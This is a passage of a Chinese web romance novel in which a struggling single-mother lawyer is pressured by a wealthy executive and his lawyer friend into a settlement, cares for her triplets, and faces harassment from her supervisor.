顾淮年眼眸如尺,丈量着女人玲珑曼妙的身段,撞了一下霍宴北的胳膊:“挺漂亮一姑娘,我都不忍心欺负。” 霍宴北越过他,走在前面,恰好挡住了他色眯眯的视线:“正事要紧。” 两人回到外间时,乔眠已经坐在沙发上等着了。 霍宴北芝兰玉树的俊立窗前,点了一支烟,慢条斯理地吞吐烟雾。 顾淮年坐下后,从公文包里拿出一份协议。 还有一张卡,一并推到乔眠面前。 “和解协议,签了,十万。” 乔眠面色冰冷:“我不会签的。” “别急着做决定。” 顾淮年点开一段视频,将平板转向她。 看完视频内容后,乔眠的脸一下子白了。 视频里,是她在酒吧走廊,被一个男顾客勾着肩背、拉扯的画面。 视频截取的角度很刁钻。 加上她那性感暴露的穿着,任谁看了都会认为,她是做不正当营生的…… “乔律师在酒吧兼职没毛病,可若是这视频不小心散出去,你名声要不要且不说,这一行的饭碗,还能不能端稳当,就另说了,毕竟,没有哪一家律所,会留一个自带流量包的网络红人吧。” “……” 乔眠幽怨的望了一眼站在窗前,掌控全局的男人:“霍先生在威胁我?” 霍宴北朝她的方向吐了一口烟圈,语气冷淡的不带一丝人类的感情:“你只有三分钟考虑的时间。” 顾淮年打趣:“五分钟吧,乔律师貌美如花,我还没看够呢。” 乔眠忍着想吐的冲动,指了指额头上的纱布:“即便我交出视频,宋少躲过一劫,但是,他伤我一事,就不怕我死咬着不放?” “妹妹,劝你现实点。” 说着,顾淮年从公文包里拿出另一份协议:“再签一份和解书,追加十万医药费,一晚上挣了二十万,比你在荣华律所一年的薪水都多,以后也不用辛苦兼职了,何乐不为呢。” 乔眠死死咬着嘴唇。 委屈、愤怒,都不及这一刻深深的无力感。 惹上谁,她都不惧。 偏偏,惹上的是最招惹不起的霍宴北。 他就是她命中的劫。 罢了。 她投降。 接过顾淮年递过来的钢笔,火速签字后,将协议推过去。 顾淮年点了点另一份没有签字的协议:“这十万块医药费不挣了?” “你们恶心到我了,总得为我这伤讨口气。” “气又当不了饭吃。” 顾淮年似笑非笑:“十万不够?报个数。” 说到这里,他朝霍宴北的方向啧了一声,“霍先生穷得就剩下钱了。” 乔眠:“一亿。” “他敢给,你敢要?” “他不给最好。” “没得谈了?” “你耳聋?” “……” 顾淮年被怼笑了。 “乔律师这么厉害一张嘴,法庭上辩论的风采一定更美。” “多谢夸奖,那就静待顾大律师坐在被告席那一天,好好欣赏。” “哈哈!” 顾淮年笑出了鹅叫声。 霍宴北却满目困惑的望着能言善变的乔眠。 此时,她认真起来的状态,清韧果敢。 和在他面前时,紧张的模样,完全不一样…… 男人眼眸微眯。 她……好像很怕他? 感受到被霍宴北锋锐的目光注视着,乔眠本能的神经绷紧。 只想快点结束这场纠纷。 她从手机调出那段在酒吧包厢偷拍的视频,递给顾怀年。 顾淮年接到手,没看,直接交给了霍宴北。 男人看完后,打了一通电话。 很快,一个身穿黑色西装的男人,提着一台笔记本走了进来。 霍宴北把手机递给他。 乔眠质问:“你们干什么?” 顾淮年:“通过技术手段,删除备份或者加密的数据,不留隐患而已。” “……” 乔眠唇角轻扯。 她的确备份了。 即便删了也不怕。 她留了后手…… “放心,我用人格保证,不会触碰你手机里的个人隐私。” 见小姑娘被欺负惨了,顾怀年怜香惜玉的安抚了一句。 却招来乔眠一声冷笑:“顾大律师,你的人格一文不值。” “嘴炮真厉害,改天约下?” “什么?” 乔眠没懂话中岐义。 顾淮年就喜欢撩拨清纯无知的,笑得雅痞:“美女,有男朋友没?” 乔眠脱口欲说没有,但是,余光里瞥到霍宴北的目光落在她身上时,改口道,“有。” 霍宴北抽烟的动作微微一顿。 一截烟灰,烫在指骨上,丝丝缕缕的疼,让他禁不住蹙起了眉。 顾淮年却乐在其中:“你男朋友得多废物啊,舍得你这么一个小美人,去酒吧赚辛苦钱,还不如踹了,跟我。” 乔眠拧眉:“麻烦闭嘴,我不想再吐。” “……” 顾淮年怀疑的摸了一把脸。 靠,生平第一次被女人嫌弃。 怪没面子的。 他眼神玩味的朝霍宴北的方向抬了一下,“看不上我?那他呢?这身家、颜值,总能入眼吧?” 乔眠皱眉:“他有妻子!” 第7章 薄唇擦过她耳边威胁 顾淮年笑了,“这么说,他若是没老婆的话,你真能看上他呗?” “……” 乔眠一时语塞。 下意识看向霍宴北。 他也在看着她。 两人目光撞上时,乔眠的心,砰砰砰跳得快要从胸腔里蹦了出来。 小脸蓦地红了。 她仓惶的转过脸,不再理人。 气氛变得微妙起来。 霍宴北扯了下领带,心里莫名有些燥。 顾淮年唇角勾起一抹耐人寻味的笑。 恰好这时,技术人员处理完毕,把手机还给了乔眠。 顾淮年起身,递给她一张名片:“乔律师,你挺合我眼缘的,要不要考虑来我们众诚律所?” 眼缘? 如果顾淮年知道眼前的她,就是曾经他经常嘲笑的小哑巴、大胖子,还能说出这句话吗? 乔眠接过名片,丢进垃圾桶,“好走不送。” 顾淮年混不吝笑笑:“狠心的女人。” 乔眠想骂人。 下一瞬,手里又有了一张名片。 是霍宴北给的。 “身体有任何不舒服,随时联系我,你的伤,我会负责到底。” 下一瞬,男人忽然附身,在她耳边低声警告,“敢扔试试?” 极淡的一句话,透着让人不寒而栗的威压。 乔眠呼吸紧颤,正欲扔名片的手蓦地缩了回去。 她这反应,落在霍宴北眸底,格外乖巧。 他勾了下唇角,抬步离开了。 …… 医院停车场。 顾淮年神色恢复了一本正经:“乔眠不肯签另一份和解书,宋沉这货儿涉嫌故意伤人,就得蹲局子,你预备怎么办?” 霍宴北摁了摁眉心:“蹲上十天半个月,死不了。” “也是,就得给这死小子涨涨教训,这些年,你顾念着跟宋蔓的情分,没少给他擦屁股。” 说到这里,他哼笑一声,“乔眠倒是挺有意思的,一个无名小律师,穷得都去酒吧兼职了,还硬装清高,不肯挣那十万块钱。” 霍宴北唇线紧绷,没有搭话。 顾淮年看他一眼:“我怎么觉得,你看她的眼神很不对。” 男人沉吟:“她的眼睛,很像阿妩。” 顾怀年怔了一下,提醒:“霍妩已经在六年前那场大火中丧生了。” 霍宴北垂眸,望着手腕上那串核桃红手链,嗓音掺杂着一丝潮湿的低糜:“可当年并没有找到她的尸身。” 顾淮年觉得他又犯疯病了,生气道:“霍妩当年因为嫉妒,一把火,毁了你和宋蔓的订婚宴,造成三死,五重伤!你独揽一切罪责,那些死者和重伤者家属没把你骨头给拆了!这么个恶毒的小哑巴,你他妈有病啊,还想着?” 话音刚落,霍宴北眼神一凛,一拳砸了过去。 这一拳又狠又重。 顾淮年的眼镜都飞了出去。 眼镜片,零落的碎裂一地。 手指拭掉唇角溢出来的一缕鲜血。 顾淮年浑不在意的冷嗤一声。 他知道犯了忌讳。 这六年,霍宴北最是听不得旁人在他面前提‘小哑巴’,或是说霍妩的不是。 去年一次朋友生日聚会,那人是个没长脑子的。 多喝了几杯。 切蛋糕时,不知怎地就想起了霍妩,嬉笑着打趣了一句:“宴北,你妹妹霍妩以前那么胖,最爱吃甜食,她要是还活着,今儿个这蛋糕,都不够她一个人吃的。” 当时,这货儿被霍宴北摁在地上一顿暴揍。 生生打断了三根肋骨。 躺在病床上三个多月。 事后,这哥们又是跪地致歉,又是托兄弟说情,直到现在,但凡霍宴北在的场合,他连蹦个影都不敢。 顾淮年摸了摸脸上的淤青。 觉得只挨了一拳,算是幸运。 自打霍妩死后,霍宴北就像病了一样,只要遇到和霍妩长得相像的女人,就犯魔怔。 还…… 顾淮年叹了一声,拍拍他的肩膀:“她已经死了六年了,别再执着了。” 这时,一辆布加迪开了过来,顾怀年勾住他的肩膀,“喝一杯?” 霍宴北拨开他的手,“我还有事。” “大晚上的什么事啊?” “与你无关。” 顾淮年切了一声,上车走了。 紧接着,一辆黑色劳斯莱斯停在路边。 特助陈珂下车,打开后车门,恭敬颔首,“霍总。” 霍宴北上车后,隔着车窗,不经意间,望了一眼医院的方向。 却瞥见一抹纤细的身影从医院走出来。 …… 乔眠从医院出来时,已经十点。 初冬的寒风,像巴掌一样打在脸上,又冷又疼。 她衣着单薄,袒胸露腿。 后背一片清凉。 还赤着一双小脚。 冻得直打哆嗦。 包里那双恨天高断了鞋跟,不能穿了。 但舍不得扔。 回头把鞋跟钉上,还能用上。 她租的房子在城中村,离市区有十多公里。 若是穿这一身坐公交或者地铁,肯定会被人指指点点。 可是,打车的话…… 得六七十块钱。 顶两天饭钱。 乔眠望了一眼手里攥着的那张卡,摇了摇头。 霍宴北这钱,动不得。 早晚得还回去。 虽然,她非常缺钱。 为了省钱,还是没舍得打车。 乔眠搓着冻得起了鸡皮疙瘩的纤瘦胳膊,踩着湿冷的沥青路,走到路边,刷了一辆共享电动车骑上走了。 十一月份的京市,比她之前待的海城要冷许多。 她刚搬回京市没多久,一时间还未适应这边的天气。 骑了十多分钟,就冷得浑身发抖。 快要攥不住车把了。 咬牙坚持到还剩下一半路程时,看到路边有一家蛋糕店,她把电动车停在门口,走了进去。 这家蛋糕店是名牌连锁店。 平时,她连进去的勇气都没有。 但是,今天日子特殊,家里还有三张嘴等着呢。 一进门,就遭到店员嫌弃的眼神。 乔眠装没看见。 这六年,她早就被生活磨平了棱角和傲骨,根本不会因别人一个白眼而内耗自己的情绪。 她顾自走到折扣区。 品牌蛋糕店的甜品是不过夜的,晚上八点半以后,就会低折出售。 对此,乔眠很有经验。 毕竟,她常常跟一帮大爷大妈去超市蹲点抢特价鸡蛋…… 扫遍那些虽然打了折,但依旧很贵的蛋糕,她纠结了一会儿,最后选了一款特价蛋糕去收银台结账。 “一共39.9,微信还是支付宝?” “微信。” 乔眠掏出手机,准备付账时,却发现手机……没电了。 “那个……” 她小脸窘红:“抱歉……我手机没电了,支付不了,暂时不买了……” 店员皱眉:“特价蛋糕退不了!再说,都打过包装了,你让我们卖给谁啊?” “……” 乔眠窘迫的抠紧手机。 正犹豫该不该用那张卡时,一股熟悉的清冽草木香自身后萦绕而来。 紧接着,一只修长白皙的大手,越过她肩膀,握着手机,在支付设备上扫了一下。 同时,头顶传来一道淡淡的男人嗓音:“她的帐我付了。” 第8章 扣住她的手腕不让她走 “……” 乔眠浑身一僵。 即便没有回头,也知道这位‘好心人’是霍宴北。 怎么又遇到他了…… 此时,两人距离很近。 近到能感受到他胸膛噴涨有力的心跳声。 那股源自于生理上的紧张,再次袭来。 她掐紧掌心,纠结转身后该怎样跟他打招呼时,霍宴北疏冷的嗓音飘入耳中:“让让。” “呃好……谢……谢谢。” 乔眠低着脑袋,退到一旁。 紧张的又结巴了。 霍宴北疑惑的瞅了她一眼。 这女人,之前跟顾怀年对峙时,言辞犀利,从容冷静,此刻,在他面前,又很紧张…… 瞥见她衣着稀薄,白的晃目的一双纤腿下,那双冻得通红的小脚时,眉心隐隐皱了一下。 被他明晃晃的打量。 乔眠第一反应就是逃。 刚走到门口,就听到店员态度恭敬的说话声:“先生,蛋糕给您包装好了,一共3999。” “嗯。” “这款黑天鹅蛋糕寓意挚爱,是给您妻子买的吧……” 剩余的话,被砰一声关上的玻璃门隔绝。 乔眠跌跌撞撞的跑出门外后,喘息着蹲在地上。 懊恼自己落荒而逃。 也怨恨自己在他面前做不到不紧张。 霍宴北就像她身体里的癌细胞,越想清除,越是致命的痛。 一滴眼泪落了下来。 乔眠倔强的用力擦掉。 刚起身,就看到一个膘肥体胖的男人骑上了她的共享电动车。 车没锁。 要是被骑走,也不知道会被白嫖多少车费。 她快步走过去:“大哥,这是我刷的车,要不,您重新刷一辆吧?” 她态度友好。 男人却满身酒气,朝地上啐了一口唾沫:“艹!老子先骑的,怎么就成了你的?” 乔眠不想惹事,耐着性子道:“如果你想骑走可以,等我还完车,你重新刷,可以吧?” 男人一听,暴躁的口出恶言:“老子还想骑你呢!瞅你穿那样,也不知道哪个野鸡场子跑出来的小破鞋,滚滚滚!别挡道!” 骂完之后,还狠狠推了她一把。 乔眠经不住他的蛮力,一个没站稳,重重摔在了地上。 纤白的手臂磕在水泥地上,刮出一道长长的血痕。 乔眠忍着疼痛从地上爬起来,也不再跟他磨嘴皮子,直接走到电动车后面,伸手将车锁猛地一拉。 哗啦一声。 还车成功的语音提示声传来。 男人见车骑不走了,恼羞成怒的将车子掀翻在地:“臭婊子!找死是吧!” 说罢,抬起肥厚的大掌,就要朝她脸上掴去时,乔眠没躲,还一脸沉静地朝他走近一步:“《根据治安管理处罚法第四十三条》,殴打他人,处五日以上,十日以下拘留。” “我擦,还挺懂法!就算你是律师,老子也不怕你!” 男人嘴上放着狠话,但是,扬在半空中的手掌明显僵了一下。 乔眠见他被唬住,又指着手肘上那道血淋淋的伤口,继续道:“这周围到处都是监控摄像头,要么现在跟我道歉走人,要么我报警、验伤,但绝不接受调解,你还要补偿我一笔医药费。” 语落,她从包里掏出手机,侧过身体,假装打电话报警:“您好,110吗?我被人……” 话到一半,男人急忙摆手:“行了行了!为了一辆破车至于吗?我跟你道歉,行了吧!” 男人违心道歉后,撒腿跑了。 乔眠轻轻拍着紧颤的胸口,缓缓松了一口气。 手心都是汗津津的。 虽然她占理,可大晚上跟一个男人硬碰硬,她总归是害怕的。 忽然,身后传来砰地一声响。 乔眠转身望去。 惊得原本平静下来的心脏,又提到了嗓子眼。 那个男人,走时还好好的,这会儿,居然磕晕在了地上。 关键是,旁边站着……霍宴北。 也不知道站了多久…… 此时,他眼神寂冷,正一瞬一不瞬地盯着她。 盯得她遍体生寒。 乔眠微垂眼睫,指着地上不省人事的男人,撇清自己:“他……他好像不关我的事。” “嗯……” 霍宴北踩着那人血乎淋啦的脸,阔步朝她走来,神情寡漠的不带一丝人类的情感:“也不关我的事。” “……” 乔眠心惊胆颤! 甚至听到了鼻骨碎裂的声响。 这股暴戾狠劲儿,比六年前还危险! 她不想跟他扯上半点关系,绕开他就走。 但是,擦身而过时,冻得僵白的纤瘦手腕,却被男人漂亮修长的大手猛地攥住。 他掌心滚热,贴着她的皮肤,却让她生理性不适。 尤其是看到他手背上沾着的血迹时,乔眠吓得用力甩开他的手。 这才明白,地上的男人不是摔晕的,是被他打晕的! 乔眠用力搓了搓被他碰过的那只手腕。 试图将属于他的气息和温度,从皮肤上清除干净。 霍宴北没想到她反应这么大,冷峻的眉宇微微一皱,把一个包装袋递过去:“乔律师,你的蛋糕。” “……” 乔眠这才注意到,他另一只手里提了两个袋子。 其中一个袋子就是她的。 刚才只顾逃了,忘了拿蛋糕。 “谢谢。” 她有些窘,接过包装袋,再次绕开他就走时,霍宴北伸手一拦:“医生说过,你还不能出院。” 乔眠抿唇:“霍先生,我保证,我这伤严重与否,以后都不会敲诈勒索你的。” “毕竟,您的手段,我已经领教过,得罪不起。” 看着她一脸怨气的小模样,霍宴北轻笑一声:“你拿什么保证?” 乔眠有些不悦:“难不成霍先生还想再逼我签一份保证协议?” “那倒不必。” “那你想怎样?” “回医院,好好待着。” 带着命令的霸道语气。 乔眠后退一步,举了下手里的包装袋,“我着急回家给……男朋友过生日,是不会回医院的。” 听到‘男朋友’三个字,男人语气嘲讽,“你伤成这样了,你那废物男朋友不来接你,是死了吗?” 乔眠瞪他一眼:“萝卜青菜各有所爱。” 说到这里,她指了下霍宴北手里提着的昂贵蛋糕:“霍先生不也是?对您妻子可真好。” 第9章 他把结婚证放在她的墓碑前 刚说完,瞥见路边停着一辆出租车,也顾不上心疼钱了,快步跑到路边,拉开车门,坐了进去。 借用司机的充电器,给手机充电。 而霍宴北,满眼沉郁的站在原地一动未动。 站了很久。 连下起了绵绵细雨,也毫无察觉。 冰冷的雨水一点点浸透了西装,雨珠顺着发梢,滴落在苍白却格外冷峻的面孔上。 他寂静的像一只受了伤,奄奄一息的困兽。 直到特助陈珂走过来,将一把黑色雨伞撑于他头顶:“霍总,上车吧。” 男人沾着雨珠的眼睫微微掀动,这才有了一丝活气,“像她吗?” 陈珂自然知道霍总口中的‘她’,指的是霍妩小姐。 他刚才仔细看了。 一点都不像。 陈珂抖着胆子提醒:“霍总,霍妩小姐听不见,也无法开口说话……” 男人仰头,任由寒冷的雨水冲刷着眸底翻涌起的潮热:“我知道,她不是阿妩,走吧。” 陈珂看了一眼地上的人,问:“那这个人怎么处理?” “他嘴太脏,适合当哑巴。” “明白。” 劳斯莱斯汇入高架。 不知是不是下雨的缘故,车厢内闷得让人喘不过气来。 霍宴北把蛋糕放在一旁,将车窗降至一半,单手松了松领带,掏出一根烟咬进唇里。 窗外的风雨吹洒进来,他低头,拢着打火机迸射出来的蓝色火光,将烟点燃,深深吸了一口。 青色烟雾弥漫开来,朦胧了男人过分湿冷的俊脸。 教人猜不透他在想什么。 陈珂透过后视镜,小心翼翼的瞄了他一眼:“霍总,宋沉少爷的事情,老爷子已经知道了,他老人家的意思是,看在宋家的面子上,也得务必保全。” 男人眉眼间盖下一层阴影,“知道了。” “那现在要回帝景别墅吗?” “墓地。” 陈珂一个激灵。 恍然想起,今天是霍妩小姐的祭日…… …… 乔眠回到出租屋,已是十点多。 她租的房子是城中村的自建房。 在一条弄堂里。 老破旧。 七楼,没有电梯。 楼道里没有灯。 她打开手机手电筒爬上七楼,进门之前,将假发取下来,才从包里摸出钥匙开门。 一进屋,张婶磕着瓜子走了过来。 瞧着她那一身暴露的穿着,眯瞪着眼埋怨:“我说小乔啊,明明之前说好的,晚上九点半我就收工,你瞅瞅,现在都快十一点了。” 乔眠一脸歉意的解释:“对不起,张婶,今天我遇到点事情,所以回来迟了,下次绝对准时回来,不再耽搁你的时间。” “你这活,我可不干了,你还是另外找人吧。” 乔眠听后,拿出手机,给她微信转了五十块钱:“耽误您的两个小时,补给您钱,行么?” 张婶秒收后,态度依旧没有缓和:“你抓紧时间再找个短时工吧,我可不想沾上你这种营生的人,我守寡清白了半辈子,你可别把我的名声给坏了。” 乔眠正欲开口解释时,一个小粉团子,从卧室里跑了出来,奶凶奶凶的瞪着张婶:“不许说我妈妈坏话,我妈妈是律师。” “律师?开玩笑呢?穿成这样?大半夜还不回家,谁知道干什么去了!” 张婶满脸嫌弃的说完后,甩门走了。 “臭奶奶!” 乔慕心皱着小包子脸,奶声奶气的冲着门板凶了一句。 “心心,不可以骂人哦。” 乔眠轻轻揉了一把女儿毛绒绒的脑袋。 乔慕心一转脸,亲昵的抱住她的大腿,声音绵软又甜:“妈妈,你可回来了,我都想你了。” 乔眠蹲下身体,捏捏女儿软乎乎的小脸:“哥哥们呢,都睡了吗?” 刚说完,大宝乔慕城打着哈欠,从卧室走了出来。 乌黑明亮的大眼睛,将她从头到脚打量一遍。 见她额头上贴着纱布,小眉头一皱:“乔眠女士,你这是遇到抢劫的了吗?” 乔眠伸手揉了一把儿子发顶翘起的一缕呆毛:“没有哦,妈妈的鞋跟断了,不小心摔了一跤。” 乔慕城撇嘴:“谁让你总买便宜货。” “妈妈是节俭。” 比起大宝乔慕城的高冷,二宝乔慕野,俨然一枚小暖男。 他拿来一双棉拖,蹲在地上,放在乔眠脚前:“妈妈,穿上鞋子,脚就不冷了。” 乔慕心小心翼翼的摸摸她的额头:“妈妈,痛不痛啊?” “妈妈不疼。” 看着三个小宝这么体贴懂事。 乔眠心里温暖极了。 每次在外面,不管受了多大的委屈,只要回家看到三个宝贝,她觉得再苦,都是值得的。 “妈妈一点儿都不辛苦哦。” 乔眠安抚地揽着三个孩子,在沙发上坐下来,“晚上张奶奶给你们做了什么好吃的?” 乔慕心瘪嘴:“张奶奶又烙大饼了,太硬了,把我的牙都硌掉了,好痛哦。” “……” 乔眠吓了一跳。 让女儿张开嘴巴。 仔细检查后,才松了一口气:“不怕哦,心心现在是换牙期,掉的是前些天松动的那颗坏牙。” “乔眠女士,你心可真大。” 大宝乔慕城冷哼一声:“那个张奶奶,除了就会烙大饼就咸菜,每天接我们放学以后,就知道嗑瓜子看电视,她耳背,声音开的好大,吵死了。” 乔慕野跟着告状:“我还听到张奶奶跟弄堂里的其他爷爷奶奶说妈妈的坏话。” 乔慕心:“她还总把我们家冰箱里的鸡蛋偷偷装口袋带走。” “……” 张婶有些小毛病,她不是不知道。 但是,正规中介公司里的短时工,她根本请不起。 当初花钱请张婶照顾孩子,一是图便宜,二是她独居,就住在楼下,很方便照看孩子。 所以,那些小毛病,她从未较真。 没想到,现在连孩子们都有意见了。 唉。 乔眠无奈:“妈妈白天要上班,总得有人接你们放学吧?” 乔慕城撇嘴:“幼儿园到我们住的地方一共986米,我闭着眼睛就能带着弟弟妹妹回家,干嘛非得花钱雇人?” “可是,晚上妈妈还得兼职,留你们三个小孩子在家,妈妈不放心。” 乔慕城:“在家里装个监控摄像头,就能随时随地看着我们,还能省下一笔钱,不好吗?” 乔慕野点头,“我觉得哥哥说得对。” 乔慕心跟着点点头:“妈妈,我们在家会很乖的。” 孩子们这么懂事听话,乔眠欣慰的弯了弯眉眼,“好吧,明天是周六,妈妈明天就去买。” 瞥见墙上的挂钟已经指向十一点,这才起身将放在玄关的蛋糕拿过来。 “今天是你们的生日,妈妈给你们买了蛋糕哦。” 第10章 她骗了他十万块钱 三个小团子见到蛋糕,蜜蜂一样围了过来。 乔慕城:“又乱花钱。” 乔慕野:“妈妈,蛋糕会不会很贵?” 乔慕心趴在茶几上,眼睛亮晶晶的馋着蛋糕,声音糯叽叽的惊叹:“哇,好漂亮的蛋糕哦,上面还有草莓和芒果,妈妈,真的是给我们买的吗?” 望着远比同龄小朋友心智要成熟一些的三个孩子,总是关心钱的问题时,乔眠心里泛起一阵酸楚。 这些年,她一个人拉扯三个崽长大,挣的钱,也只够温饱。 单说,孩子们每个月的幼儿园费用,硬性支出就得四千多块钱。 再加上房租、水电费。 她每个月工资所剩无几。 只能做各种兼职贴补。 平时为了省钱,很少给孩子们买零食。 除了生日当天,蛋糕甜点一类,更是很少买。 因为,她总觉得蛋糕没有馒头饼面能够填饱肚子来的实际。 但她偶尔也会奢侈一次,领着三个孩子去吃最便宜的自助餐。 因为身高一米四以下的孩子免费…… 说起来,今年她还没带孩子们去过自助餐厅。 因为慕城和慕野个头蹿的太快,已经超出免票身高了…… 说来说去,都是她这个妈妈无用,无法给孩子们提供优越的物质生活。 其实,她也是京大名校的高材生。 若非六年前,在霍宴北和宋蔓订婚宴上,遭遇那场大火。 她也不会没能毕业…… 不过,两年前,她自考通过了司法考试,拿到了律师资格证书。 好在是稀缺的手语律师,这才有幸进了荣华律所。 三个月前,京市成立了荣华事务所分所,把她从沪城调了过来。 她这才不得不搬回京市。 想到这些,对孩子们的愧疚、自责,像绵密的针一样扎的乔眠心脏剧痛。 陪孩子们过完生日,照顾他们回房间睡觉后,她回到卧室,瘦弱的身体,沿着门板一点点滑落在地。 挂着泪水的脸颊埋进双膝,再也克制不住情绪,眼泪决堤一般汹涌而落。 这些年,她极少哭。 也不允许自己脆弱。 可这会儿,她就是忍不住想哭。 想痛痛快快的大哭一场。 最后,哭累了,她躺在床上,发了一条微信。 【韩主任,我发给您的视频,您看了吗?】 霍宴北以为成功拿到了视频。 可是,他不知道,她早就把原版视频,发给了上司…… …… 翌日。 清晨六点。 霍宴北从墓园走出来。 平日里,那样一个高高在上的尊贵太子爷,此时,头发凌乱,深邃冷峻的眉眼间尽显憔悴。 面色更是苍白如纸。 紧抿的薄唇干枯的泛着一层橘皮。 名贵的西装湿哒哒的紧贴着身体,衬得他格外嶛峭沧桑。 陈珂小跑着迎上去,将一件藏青色羊绒厚大衣披在他肩上。 见他双膝和皮鞋沾满污泥,唏嘘的叹了一声:“霍总,您怕是又要感冒了……” 六年了。 每逢霍妩小姐的祭日,不管刮风下雨,哪怕天上下刀子,霍总必会来到霍妩小姐的墓前守上一夜。 还不许人跟着。 这一夜,天寒地冻,又下雨,很难想像霍总是怎样熬过这一夜的。 去年,霍总就因为去墓园,得了一场严重的风寒,在医院住了小半个月。 上车后,陈珂接了一个电话。 不知道对方说了什么,他脸色一变,扭头看向霍宴北:“霍总,您被乔眠那个女人骗了十万块钱!她还有视频!” …… 周六,乔眠出去买了两个监控摄像头,一个装在客厅,另一个装在了孩子们的卧室。 因为额头有伤的缘故,周日没有出去兼职,难得在家休息了一天。 周一。 七点半,把孩子们送到幼儿园后,她坐地铁上班。 八点半,准时打卡进入荣华律所。 此时,办公区已经有同事来了。 她脱掉外套,随手搭在椅背上。 同事何眉吸溜着一杯豆浆,在她旁边坐下。 看到她额头上的纱布时,惊呼道,“小乔,你怎么受伤了?” “不小心摔了一跤。” “跑外卖摔了?” “差不多……” 何眉捏起她的小脸,啧了一声,“脸好看,受点伤,就更招人疼了。” 乔眠拍开她的手,往旁边办公室扫了一眼,“韩主任来了没?” “他一个色胚,问他作甚?” “案子上的事情,需要跟他汇报。” 那晚给韩主任发了一条微信,他两天都没有回复…… 走神时,何眉伸手,在她眼前晃了晃:“他一直骚扰你,你还忍个屁啊。” 乔眠苦笑:“可我需要这份工作。” “唉,你还有三个娃要养呐。” 何眉同情的叹了一声。 这时,一道温和的声音传来,“小乔,来我办公室一下。” 乔眠回头一看,是韩东平主任。 她立马起身,跟着走进办公室。 四十岁的中年男人,身材面貌保养的很好。 成熟儒雅。 但是,盯在她身上的眼神,却透着赤裸裸的欲色。 乔眠被盯得很不舒服,拘谨的往半敞开的门口站了站。 “韩主任……” “先坐。” 韩东平把门关上。 转过身后,看到她额头上的伤时,眯了一下眼:“怎么受伤了?坐下,我瞧瞧。” 说着,拉住她的小手,就要到沙发上坐下。 乔眠仓惶抽回手:“韩主任,我发您的视频,看了吗?” “看了。” 韩东平顾自在沙发上坐下,“一个哑女的法援案,你跑去酒吧取证,值得吗?” 乔眠:“这个案子的当事人是听障人士,却在酒吧被沈少、黎少,强行灌违禁品,还差点被强暴,有了视频证据,这个案子就能诉成功。” 韩东平起身,伸手拍了下她的肩:“小乔,这个案子涉及黎少、沈少,也就罢了,但是,视频里出现了宋少,就诉不了。” 乔眠后退一步,躲开他的咸猪手:“为什么?” “宋少可是霍氏财阀总裁的小舅子,谁敢碰,就是太岁爷头上动土,就算我们律所的创始人,也得罪不起。” 乔眠坚持:“韩主任,这个案子当初是我接的,由我全权代理,出事也与您无关。” “你是荣华的律师,你代理这个案子,就代表了咱律所。这个案子交给我,以后你不必再插手。” 第11章 被上司骚扰,被霍宴北撞见 “韩主任……” “小乔,你还想不想干了?” 乔眠一冲动,脱口而出:“那我不干了。” “好啊。” 韩东平哼笑,“你和律所的合约还剩下半年,现在想走可以,违约金赔的起吗?” “……” 乔眠攥紧拳头。 这就是她的困境。 需要这份工作,却又被上司骚扰。 想走,还走不掉。 合约到期之前,只能忍。 “小乔啊。” 韩东平忽然伸手搂上她的腰:“你是我带出来的徒弟,只要听我的,师父保证你前程无忧。” “韩主任,请自重。” 乔眠推开他。 却被他强行搂入怀里。 撕扯间,衣领和袖子都被扯破了。 “小乔,我太喜欢你了,让师父亲……啪!” 差点被他的唇蹭到脖颈时,乔眠一把掀开他。 响亮的一巴掌狠狠扇在了他的脸上。 “连师父都敢打?小乔,你还想不想在律所待了?” 韩东平挨了一巴掌,粗鲁的再次搂住她。 两人撕扯时,一阵叩门声响起。 韩东平瞪着门口刚要开口骂人时,乔眠趁机一把推开他。 踉踉跄跄的冲到门口。 拽开门。 却撞入一个宽阔坚实的怀抱。 熟悉的草木香侵入鼻息。 乔眠猛地抬头。 对上一双深邃幽暗的眼眸。 望着突然出现在眼前的霍宴北,不知是委屈惊吓,还是又被他撞见自己最狼狈的一刻,眼睛里沁着的水雾凝结成泪珠。 吧嗒一下,滚落了下来。 霍宴北吃惊的望着突然闯入怀中的乔眠。 女人面色惨白,长发松散,一双小手死死护住衣领。 肩袖处扯破了一道口子,露出一片雪白的肌肤。 他眼神一凛,看向跟过来的韩东平。 脸上有一个很明显的巴掌印。 上司骚扰下属的情节,一目了然。 男人眼眸一下子变得极深。 嘲弄的睨了一眼身旁一脸尴尬的荣华律师事务所的创始人,“温董,贵所的风气,真是让人大开眼界。” 说这话时,他脱掉了身上的西装外套,施舍似的丢到乔眠身上。 乔眠没有矫情,匆忙背过身穿上。 宽大的西装,还残留着专属于男人的体温,还有一股混着烟草味的草木香。 熟悉到骨子里的气息,让她不禁想起那些沉溺于他怀中,耳鬓厮磨的夜里。 她低着脑袋,拢紧衣领,前所未有的委屈尽数袭来。 大概人在最脆弱的时候,潜意识里希望被保护,或是寻求一丝安全感。 乔眠下意识往霍宴北身后站了站。 霍宴北察觉到她的小动作,不知为何,他竟是配合的往旁边一挪,彻底将女人挡在了身后。 一旁的温董尴尬出声:“抱歉,霍总,让您看笑话了。” 语落,狠狠瞪了一眼早已吓得双腿发软的韩东平:“霍总来了,你不出来迎接,还忙着跟下属探讨工作?” “是……是是。” 韩东平听出温董在给他找台阶,急忙躬身附和道:“霍总,抱歉,刚才跟小乔聊案子,意见出现分歧,起了点争执,让您见笑了。” 说罢,看了一眼几乎被霍宴北完全挡住的乔眠,“是吧,小乔?” 乔眠紧咬着唇。 是个人都能看出来,她刚才被骚扰了。 但是,荣华律所的创始人温董在。 她若是把丑事挑明了,就是当着客人的面,打温董的脸。 损坏的是律所的名声。 韩主任是律所高层。 即便挨处分,也是不疼不痒的。 最后,只能是她一个小律师当炮灰。 所以,乔眠只得忍下委屈,从霍宴北身后站出来,恭敬的朝温董颔首躬身:“对不起,温董,不知道您有贵客,我跟韩主任,刚才确实因为一个案子起了争执,没别的事情,一场误会而已。” 瞧到这个结局,霍宴北薄唇勾起一抹嘲讽的弧度。 温董松了一口气:“既然是误会,先忙去吧。” “是。” 乔眠低着头,快步走出办公室。 此时,何眉就站在门外。 刚才是她敲的门。 见乔眠这副样子出来,紧忙拉着她去了洗手间。 一路上,经过办公区,听到不少议论。 “乔律师可真丢人啊,跟主任在办公室乱搞,被温董看了个正着。” “我早就说过,她跟韩主任有一腿,知三当三,真恶心!” “我听说,乔律师仗着那张脸好看,专门勾搭有钱客户……” 听到这些,何眉气得撸起袖子,就要冲过去理论。 乔眠制止,“算了,这些流言蜚语,又不是第一天听到。” 